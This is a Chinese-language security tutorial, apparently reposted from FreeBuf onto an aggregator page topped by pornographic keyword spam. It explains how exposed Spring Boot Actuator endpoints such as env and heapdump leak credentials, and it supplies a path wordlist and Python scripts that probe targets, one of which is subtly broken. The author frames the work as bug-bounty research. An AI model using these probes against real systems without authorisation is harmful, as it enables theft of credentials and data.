日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > javascript >内容正文

javascript

Spring Boot框架敏感信息泄露的完整介绍与SRC实战(附专属字典与PoC)

發布時間:2023/12/2 javascript 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Spring Boot框架敏感信息泄露的完整介绍与SRC实战(附专属字典与PoC) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

轉載于:https://www.freebuf.com/vuls/289710.html

#前言

##Spring Boot框架介紹
Spring框架功能很強大,但是就算是一個很簡單的項目,我們也要配置很多東西。因此就有了Spring Boot框架,它的作用很簡單,就是幫我們自動配置,其設計目的是用來簡化新Spring應用的初始搭建以及開發過程。Spring Boot框架的核心就是自動配置,只要存在相應的jar包,Spring就幫我們自動配置。該框架使用了特定的方式來進行配置,從而使開發人員不再需要定義樣板化的配置。如果默認配置不能滿足需求,我們還可以替換掉自動配置類,使用我們自己的配置。另外,Spring Boot還集成了嵌入式的Web服務器,系統監控等很多有用的功能,讓我們快速構建企業及應用程序。

##Actuator中間件工具介紹
Actuator是Spring Boot提供的服務監控和管理工具。當Spring Boot應用程序運行時,它會自動將多個端點注冊到路由進程中。而由于對這些端點的錯誤配置,就有可能導致一些敏感信息泄露。

#如何發現Spring Boot框架

通常有兩種方法:
1.網站的icon文件是一個綠色的樹葉:

2.頁面存在特有的報錯信息:

#敏感信息泄露所影響的版本

Spring Boot < 1.5: 默認未授權訪問所有端點。
Spring Boot >= 1.5: 默認只允許訪問/health和/info端點,但是此安全性通常被應用程序開發人員禁用。
#每個端點的作用
官方文檔有對它們展開詳細的描述:

路徑 描述 默認啟用 auditevents 顯示當前應用程序的審計事件信息 Yes beans 顯示一個應用中所有Spring Beans的完整列表 Yes conditions 顯示配置類和自動配置類(configuration and auto-configuration classes)的狀態及它們被應用或未被應用的原因 configprops 顯示一個所有@ConfigurationProperties的集合列表 Yes env 顯示來自Spring的 ConfigurableEnvironment的屬性 Yes flyway 顯示數據庫遷移路徑,如果有的話 Yes health 顯示應用的健康信息(當使用一個未認證連接訪問時顯示一個簡單 的’status’,使用認證連接訪問則顯示全部信息詳情) info 顯示任意的應用信息 Yes liquibase 展示任何Liquibase數據庫遷移路徑,如果有的話 Yes metrics 展示當前應用的metrics信息 Yes mappings 顯示一個所有@RequestMapping路徑的集合列表 Yes scheduledtasks 顯示應用程序中的計劃任務 Yes sessions 允許從Spring會話支持的會話存儲中檢索和刪除(retrieval and deletion) 用戶會話。使用Spring Session對反應性Web應用程序的支持時不可用。 shutdown 允許應用以優雅的方式關閉(默認情況下不啟用) No threaddump 執行一個線程dump Yes heapdump 返回一個GZip壓縮的hprof堆dump文件 Yes jolokia 通過HTTP暴露JMX beans(當Jolokia在類路徑上時,WebFlux不可用) Yes logfile 返回日志文件內容(如果設置了logging.file或logging.path屬性的話),支持使用HTTP Range頭接收日志文件內容的部分信息 Yes prometheus 以可以被Prometheus服務器抓取的格式顯示metrics信息 Yes

##訪問/actuator
如果網站設置了management.endpoints.web.exposure.include為*,那么我們可以在/actuator看到所有存在的斷點:

##訪問/actuator/version
泄露版本信息

##訪問/env或者/actuator/env
獲取環境屬性
其中redis賬戶和信息泄露:

其中數據庫賬戶和信息泄露:

##訪問/actuator/metrics
獲得每個度量的名稱,其中主要監控了JVM內容使用、GC情況、類加載信息等:

如果想要得到每個度量的詳細信息,你需要傳遞度量的名稱到URL中,比如這樣:
http://x.x.x.x/actuator/metrics/http.server.requests

##訪問/actuator/threaddump
獲取服務器的線程堆棧:

##訪問/actuator/loggers
獲取服務器的日志級別:

##訪問/actuator/configprops
查看配置文件中設置的屬性內容,以及一些配置屬性的默認值:

##訪問/actuator/info
展示了關于應用的一般信息,這些信息從編譯文件比如META-INF/build-info.properties或者git文件比如git.properties或者任何環境的property中獲取:

##訪問/actuator/prometheus
獲取一些監控指標:

##訪問/actuator/mappings
其中描述全部的URI路徑,以及它們和控制器的映射關系:
訪問:http://x.x.x.x/actuator/mappings

{"/**/favicon.ico": {"bean": "faviconHandlerMapping"},"{[/hello]}": {"bean": "requestMappingHandlerMapping","method": "public java.lang.String com.neo.controller.HelloController.index()"},"{[/error]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"} }

##訪問/actuator/health
healthendpoint只展示了簡單的UP和DOWN狀態,比如這樣:

為了獲得健康檢查中所有指標的詳細信息,就需要通過在application.yaml中增加如下內容:

management:endpoint:health:show-details: always

一旦你打開上述開關,那么在/health中可以看到詳細內容,比如下面這樣:

{"status": "UP","diskSpace": {"status": "UP","total": 209715195904,"free": 183253909504,"threshold": 10485760}"db": {"status": "UP","database": "MySQL","hello": 1} }

##訪問/heapdump或者/actuator/heapdump
會返回一個GZip壓縮的JVM堆dump,其中是jvm heap信息。下載的heapdump文件大小通常在 50M—500M 之間,有時候也可能會大于 2G。然后使用 MAT 可以獲得jvm heap中的密碼明文。

其中還有部分端點,這里就不一一展示了。
#Spring Boot敏感端點路徑專屬字典
這里送波福利吧:

%20/swagger-ui.html actuator actuator/auditevents actuator/beans actuator/conditions actuator/configprops actuator/env actuator/health actuator/heapdump actuator/httptrace actuator/hystrix.stream actuator/info actuator/jolokia actuator/logfile actuator/loggers actuator/mappings actuator/metrics actuator/scheduledtasks actuator/swagger-ui.html actuator/threaddump actuator/trace api.html api/index.html api/swagger-ui.html api/v2/api-docs api-docs auditevents autoconfig beans caches cloudfoundryapplication conditions configprops distv2/index.html docs druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump entity/all env env/(name) eureka flyway gateway/actuator gateway/actuator/auditevents gateway/actuator/beans gateway/actuator/conditions gateway/actuator/configprops gateway/actuator/env gateway/actuator/health gateway/actuator/heapdump gateway/actuator/httptrace gateway/actuator/hystrix.stream gateway/actuator/info gateway/actuator/jolokia gateway/actuator/logfile gateway/actuator/loggers gateway/actuator/mappings gateway/actuator/metrics gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace health heapdump heapdump.json httptrace hystrix hystrix.stream info intergrationgraph jolokia jolokia/list liquibase logfile loggers mappings metrics monitor prometheus refresh scheduledtasks sessions shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html swagger swagger/codes swagger/index.html swagger/static/index.html swagger/swagger-ui.html swagger-dubbo/api-docs swagger-ui swagger-ui.html swagger-ui/html swagger-ui/index.html system/druid/index.html template/swagger-ui.html threaddump trace user/swagger-ui.html v1.1/swagger-ui.html v1.2/swagger-ui.html v1.3/swagger-ui.html v1.4/swagger-ui.html v1.5/swagger-ui.html v1.6/swagger-ui.html v1.7/swagger-ui.html /v1.8/swagger-ui.html /v1.9/swagger-ui.html /v2.0/swagger-ui.html v2.1/swagger-ui.html v2.2/swagger-ui.html v2.3/swagger-ui.html v2/swagger.json webpage/system/druid/index.html

#用工具跑字典

##Burp Suite
用Burp Suite跑似乎有點問題:
在Intruder爆破模塊中,將payload設置成如此形式,跑不出來:

然而手測完頁面卻能訪問,而且是有敏感信息的,所以這里有點問題。然后上網搜完,說是payload要設置成如下形式:

其中有部分狀態碼返回200了,還有Content-length也返回的是正確的,可是還是大部分是錯誤的,和我手測不相符:

這里如果有師傅知道原因請告訴我。

##自己寫python腳本
既然上面出現了問題,那么我只能自己寫一個來跑了:

import requests import time

url = ‘http://x.x.x.x/’ #這里url末尾要有’/’
with open(“SpringBoot信息泄露目錄字典.txt”, ‘r’) as web:
webs = web.readlines()
for web in webs:
web = web.strip()
u = url + web
response = requests.get(u)
#print(“url為:”+u)
print(“url為:” + u + ’ ’ + “狀態為:%d”%response.status_code + ’ ’ + “content-length為:” + str(len(response.content)))
time.sleep(5) #想sleep多久看自己~
w = open(‘easyresult.txt’, ‘w+’)
for web in webs:
web = web.strip()
u = url + web
response = requests.get(u)
w.write(“url為:” + u + ’ ’ + “狀態為:%d”%response.status_code + ’ ’ + “content-length為:” + str(len(response.content)) + ‘\n’)

結果也是全部正確:
進階腳本,可以跑多個URL:

import requests
import time
with open(“url.txt”, ‘r’) as temp:
for url in temp.readlines():
url = url.strip(’\n’)
with open(“SpringBoot信息泄露目錄字典.txt”, ‘r’) as web:
webs = web.readlines()
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
# print(“url為:”+u)
print(“url為:” + u + ’ ’ + “狀態為:%d”%response.status_code + ’ ’ + “content-length為:” + str(len(response.content)))
time.sleep(5) #想睡多久看自己~
w = open(‘result.txt’, ‘w+’)
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
w.write(“url為:” + u + ’ ’ + “狀態為:%d”%response.status_code + ’ ’ + “content-length為:” + str(len(response.content)) + ‘\n’)

測試出來的結果也是全部正確。

##SRC實戰
我用這個漏洞實戰了某些src,均挖掘出了敏感信息并提交至平臺。上面的所有截圖均為實戰時候的截圖,現已全部修復。

參考
https://blog.csdn.net/weixin_50464560/article/details/119778686?spm=1001.2014.3001.5501
https://blog.csdn.net/weixin_50464560/article/details/119711472

總結

以上是生活随笔為你收集整理的Spring Boot框架敏感信息泄露的完整介绍与SRC实战(附专属字典与PoC)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。